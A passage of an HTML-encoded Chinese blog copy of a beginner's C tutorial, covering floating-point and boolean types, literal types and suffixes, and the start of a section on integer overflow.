class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e c = \u003cspan class=\"number\"\u003e10.5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ec\u003c/code\u003e的就是浮点数类型。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efloat\u003c/code\u003e类型占用4个字节(32位),其中8位存放指数的值和符号,剩下24位存放小数的值和符号。\u003ccode\u003efloat\u003c/code\u003e类型至少能够提供(十进制的)6位有效数字,指数部分的范围为(十进制的)\u003ccode\u003e-37\u003c/code\u003e到\u003ccode\u003e37\u003c/code\u003e,即数值范围为10\u003csup\u003e-37\u003c/sup\u003e到10\u003csup\u003e37\u003c/sup\u003e。\u003c/p\u003e\u003cp\u003e有时候,32位浮点数提供的精度或者数值范围还不够,C 语言又提供了另外两种更大的浮点数类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003edouble\u003c/code\u003e:占用8个字节(64位),至少提供13位有效数字。\u003c/li\u003e\u003cli\u003e\u003ccode\u003elong double\u003c/code\u003e:通常占用16个字节。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e注意,由于存在精度限制,浮点数只是一个近似值,它的计算是不精确的,比如 C 语言里面\u003ccode\u003e0.1 + 0.2\u003c/code\u003e并不等于\u003ccode\u003e0.3\u003c/code\u003e,而是有一个很小的误差。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"number\"\u003e0.1\u003c/span\u003e + \u003cspan class=\"number\"\u003e0.2\u003c/span\u003e == \u003cspan class=\"number\"\u003e0.3\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// false\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eC 语言允许使用科学计数法表示浮点数,使用字母\u003ccode\u003ee\u003c/code\u003e来分隔小数部分和指数部分。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123.456e+3\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 123.456 x 10^3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123.456e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ee\u003c/code\u003e后面如果是加号\u003ccode\u003e+\u003c/code\u003e,加号可以省略。注意,科学计数法里面\u003ccode\u003ee\u003c/code\u003e的前后,不能存在空格。\u003c/p\u003e\u003cp\u003e另外,科学计数法的小数部分如果是\u003ccode\u003e0.x\u003c/code\u003e或\u003ccode\u003ex.0\u003c/code\u003e的形式,那么\u003ccode\u003e0\u003c/code\u003e可以省略。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e0.3E6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e.3E6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3.0E6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3.E6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"布尔类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%B8%83%E5%B0%94%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"布尔类型\"\u003e\u003c/a\u003e布尔类型\u003c/h3\u003e\u003cp\u003eC 语言原来并没有为布尔值单独设置一个类型,而是使用整数\u003ccode\u003e0\u003c/code\u003e表示伪,所有非零值表示真。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x is true!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex\u003c/code\u003e等于\u003ccode\u003e1\u003c/code\u003e,C 语言就认为这个值代表真,从而会执行判断体内部的代码。\u003c/p\u003e\u003cp\u003eC99 标准添加了类型\u003ccode\u003e_Bool\u003c/code\u003e,表示布尔值。但是,这个类型其实只是整数类型的别名,还是使用\u003ccode\u003e0\u003c/code\u003e表示伪,\u003ccode\u003e1\u003c/code\u003e表示真,下面是一个示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003e_Bool\u003c/span\u003e isNormal;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisNormal = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (isNormal)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Everything is OK.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e头文件\u003ccode\u003estdbool.h\u003c/code\u003e定义了另一个类型别名\u003ccode\u003ebool\u003c/code\u003e,并且定义了\u003ccode\u003etrue\u003c/code\u003e代表\u003ccode\u003e1\u003c/code\u003e、\u003ccode\u003efalse\u003c/code\u003e代表\u003ccode\u003e0\u003c/code\u003e。只要加载这个头文件,就可以使用这几个关键字。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdbool.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ebool\u003c/span\u003e flag = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,加载头文件\u003ccode\u003estdbool.h\u003c/code\u003e以后,就可以使用\u003ccode\u003ebool\u003c/code\u003e定义布尔值类型,以及\u003ccode\u003efalse\u003c/code\u003e和\u003ccode\u003etrue\u003c/code\u003e表示真伪。\u003c/p\u003e\u003ch3 id=\"字面量的类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E9%9D%A2%E9%87%8F%E7%9A%84%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"字面量的类型\"\u003e\u003c/a\u003e字面量的类型\u003c/h3\u003e\u003cp\u003e字面量(literal)指的是代码里面直接出现的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003ex\u003c/code\u003e是变量,\u003ccode\u003e123\u003c/code\u003e就是字面量。\u003c/p\u003e\u003cp\u003e编译时,字面量也会写入内存,因此编译器必须为字面量指定数据类型,就像必须为变量指定数据类型一样。\u003c/p\u003e\u003cp\u003e一般情况下,十进制整数字面量(比如\u003ccode\u003e123\u003c/code\u003e)会被编译器指定为\u003ccode\u003eint\u003c/code\u003e类型。如果一个数值比较大,超出了\u003ccode\u003eint\u003c/code\u003e能够表示的范围,编译器会将其指定为\u003ccode\u003elong int\u003c/code\u003e。如果数值超过了\u003ccode\u003elong int\u003c/code\u003e,会被指定为\u003ccode\u003eunsigned long\u003c/code\u003e。如果还不够大,就指定为\u003ccode\u003elong long\u003c/code\u003e或\u003ccode\u003eunsigned long long\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e小数(比如\u003ccode\u003e3.14\u003c/code\u003e)会被指定为\u003ccode\u003edouble\u003c/code\u003e类型。\u003c/p\u003e\u003ch3 id=\"字面量后缀\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E9%9D%A2%E9%87%8F%E5%90%8E%E7%BC%80\" class=\"headerlink\" title=\"字面量后缀\"\u003e\u003c/a\u003e字面量后缀\u003c/h3\u003e\u003cp\u003e有时候,程序员希望为字面量指定一个不同的类型。比如,编译器将一个整数字面量指定为\u003ccode\u003eint\u003c/code\u003e类型,但是程序员希望将其指定为\u003ccode\u003elong\u003c/code\u003e类型,这时可以为该字面量加上后缀\u003ccode\u003el\u003c/code\u003e或\u003ccode\u003eL\u003c/code\u003e,编译器就知道要把这个字面量的类型指定为\u003ccode\u003elong\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123L\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,字面量\u003ccode\u003e123\u003c/code\u003e有后缀\u003ccode\u003eL\u003c/code\u003e,编译器就会将其指定为\u003ccode\u003elong\u003c/code\u003e类型。这里\u003ccode\u003e123L\u003c/code\u003e写成\u003ccode\u003e123l\u003c/code\u003e,效果也是一样的,但是建议优先使用\u003ccode\u003eL\u003c/code\u003e,因为小写的\u003ccode\u003el\u003c/code\u003e容易跟数字\u003ccode\u003e1\u003c/code\u003e混淆。\u003c/p\u003e\u003cp\u003e八进制和十六进制的值,也可以使用后缀\u003ccode\u003el\u003c/code\u003e和\u003ccode\u003eL\u003c/code\u003e指定为 Long 类型,比如\u003ccode\u003e020L\u003c/code\u003e和\u003ccode\u003e0x20L\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e y = \u003cspan class=\"number\"\u003e0377L\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e z = \u003cspan class=\"number\"\u003e0x7fff\u003c/span\u003eL;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果希望指定为无符号整数\u003ccode\u003eunsigned int\u003c/code\u003e,可以使用后缀\u003ccode\u003eu\u003c/code\u003e或\u003ccode\u003eU\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123U\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eL\u003c/code\u003e和\u003ccode\u003eU\u003c/code\u003e可以结合使用,表示\u003ccode\u003eunsigned long\u003c/code\u003e类型。\u003ccode\u003eL\u003c/code\u003e和\u003ccode\u003eU\u003c/code\u003e的大小写和组合顺序无所谓。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123LU\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对于浮点数,编译器默认指定为 double 类型,如果希望指定为其他类型,需要在小数后面添加后缀\u003ccode\u003ef\u003c/code\u003e(float)或\u003ccode\u003el\u003c/code\u003e(long double)。\u003c/p\u003e\u003cp\u003e科学计数法也可以使用后缀。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e1.2345e+10\u003c/span\u003eF\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e1.2345e+10\u003c/span\u003eL\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e总结一下,常用的字面量后缀有下面这些。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ef\u003c/code\u003e和\u003ccode\u003eF\u003c/code\u003e:\u003ccode\u003efloat\u003c/code\u003e类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003el\u003c/code\u003e和\u003ccode\u003eL\u003c/code\u003e:对于整数是\u003ccode\u003elong int\u003c/code\u003e类型,对于小数是\u003ccode\u003elong double\u003c/code\u003e类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ell\u003c/code\u003e和\u003ccode\u003eLL\u003c/code\u003e:Long Long 类型,比如\u003ccode\u003e3LL\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eu\u003c/code\u003e和\u003ccode\u003eU\u003c/code\u003e:表示\u003ccode\u003eunsigned int\u003c/code\u003e,比如\u003ccode\u003e15U\u003c/code\u003e、\u003ccode\u003e0377U\u003c/code\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003ccode\u003eu\u003c/code\u003e还可以与其他整数后缀结合,放在前面或后面都可以,比如\u003ccode\u003e10UL\u003c/code\u003e、\u003ccode\u003e10ULL\u003c/code\u003e和\u003ccode\u003e10LLU\u003c/code\u003e都是合法的。\u003c/p\u003e\u003cp\u003e下面是一些示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234L\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234LL\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234U\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234UL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234ULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e x = \u003cspan class=\"number\"\u003e3.14f\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x = \u003cspan class=\"number\"\u003e3.14\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e x = \u003cspan class=\"number\"\u003e3.14L\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"溢出\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%BA%A2%E5%87%BA\" class=\"headerlink\" title=\"溢出\"\u003e\u003c/a\u003e溢出\u003c/h3\u003e\u003cp\u003e每一种数据类型都有数值范围,如果存放的数值超出了这个范围(小于最小值或大于最大值),需要更多的二进制位存储,就会发生溢出。大于最大值,叫做向上溢出(overflow);小于最小值,叫做向下溢出(underflow)。\u003c/p\u003e\u003cp\u003e一般来说,编译器不会对溢出报错,会正常执行代码,但是会忽略多出来的二进制位,只保留剩下的位,这样往往会得到意想不到的结果。所以,应该避免溢出。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"number\"\u003e255\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex = x + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex\u003c/code\u003e加\u003ccode\u003e1\u003c/code\u003e,得到的结果不是\u003ccode\u003e256\u003c/code\u003e,而是\u003ccode\u003e0\u003c/code\u003e。因为\u003ccode\u003ex\u003c/code\u003e是\u003ccode\u003eunsign char\u003c/code\u003e类型,最大值是\u003ccode\u003e255\u003c/code\u003e(二进制\u003ccode\u003e11111111\u003c/code\u003e),加\u003ccode\u003e1\u003c/code\u003e后就发生了溢出,\u003ccode\u003e256\u003c/code\u003e(二进制\u003ccode\u003e100000000\u003c/code\u003e)的最高位\u003ccode\u003e1\u003c/code\u003e被丢弃,剩下的值就是\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e再看下面的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan 